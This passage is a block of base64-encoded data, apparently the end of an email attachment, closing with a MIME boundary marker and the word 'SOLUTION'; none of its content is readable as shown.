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 --=_-=_-KCDHBGJFINNNDAAA-- SOLUTION